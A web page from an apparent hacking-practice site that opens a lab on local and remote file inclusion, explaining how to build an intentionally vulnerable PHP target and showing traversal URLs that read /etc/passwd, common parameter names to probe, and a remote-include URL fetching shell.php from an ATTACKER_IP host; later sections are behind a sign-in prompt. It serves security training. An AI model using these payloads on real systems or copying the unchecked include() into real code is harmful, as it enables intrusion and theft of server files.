Practice library / Web attacks
Lab · Medium · 1 hourFree account
Local & Remote File Inclusion
Path traversal, null byte injection, PHP wrappers, and remote file inclusion.
On this page 10 sections
Before you start
File inclusion flaws let an attacker trick a web application into reading or executing a file it should not touch. A single traversal parameter can leak /etc/passwd, source code, and database credentials, and a poisoned log line then turns the same bug into remote code execution. Working against a small PHP target, you walk path traversal, PHP wrappers, log poisoning, and the remote variant that pulls an attacker's file straight into the running process.
Lab Objectives
- Identify file inclusion vulnerabilities in PHP applications
- Use path traversal to read sensitive server files
- Use PHP wrappers to read source code and encode files
- Escalate LFI to RCE via log file poisoning
- Exploit Remote File Inclusion to execute hosted malicious code
Build the target
KaliRange hosts no targets, no virtual machines and no lab files. You run this lab on your own machine, against a small PHP application that you build. target.com below is the example name of this lab's target. Replace it with your own host or IP address.
Your target must have these parts:
- A PHP page, a few directories deep (for example
/var/www/pages/index.php), that builds aninclude()orrequire()path from a query parameter such aspage, with no check on the value. This gives Step 2 and Step 3 their file read. php.iniwithallow_url_include = On, so thedata://wrapper in Step 4 and the remote include in Step 6 both work. Leaveallow_url_fopenat its default;php://filterneeds only that.- A web server (Apache or Nginx) whose access log records the
User-Agentheader as sent, and whose log file the PHP process can read through the sameinclude()flaw. This gives Step 5 its log-poisoning path. - A second machine or a second terminal on your own network to host the file you include remotely in Step 6, reachable at an address you control (
ATTACKER_IPbelow).
Build a target like this yourself: write the small vulnerable PHP page above, or install DVWA (Damn Vulnerable Web Application, by the DVWA team; PHP and MariaDB; runs with docker compose), which has a File Inclusion module that matches this lab closely. Take a snapshot of each virtual machine (or note the container state) before Step 1.
Authorized-lab only. Run every command in this lab only against a target that you own or have written permission to test. File inclusion against a system you do not own is unauthorised access in most countries.
Step 1: LFI vs RFI
File inclusion happens when PHP uses user input in include() or require() without proper validation.
# Vulnerable PHP code:
$page = $_GET['page'];
include($page . ".php");
# LFI — Local File Inclusion
# Read files that already exist on the server
http://target.com/index.php?page=../../../etc/passwd
# RFI — Remote File Inclusion
# Include a file hosted on YOUR server (executes it)
http://target.com/index.php?page=http://ATTACKER_IP/shell.php
# RFI requires: allow_url_include = On in php.ini (less common)
# LFI is far more common and still very dangerousStep 2: Basic LFI
# Test with /etc/passwd (always exists on Linux)
http://target.com/index.php?page=/etc/passwd
http://target.com/index.php?file=/etc/passwd
http://target.com/index.php?include=/etc/passwd
# Common parameter names to test:
?page= ?file= ?doc= ?template=
?path= ?lang= ?view= ?read=
# If successful, you'll see /etc/passwd content:
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinSign in to continue
7 more sections are for signed-in members. It is free: sign in with Google.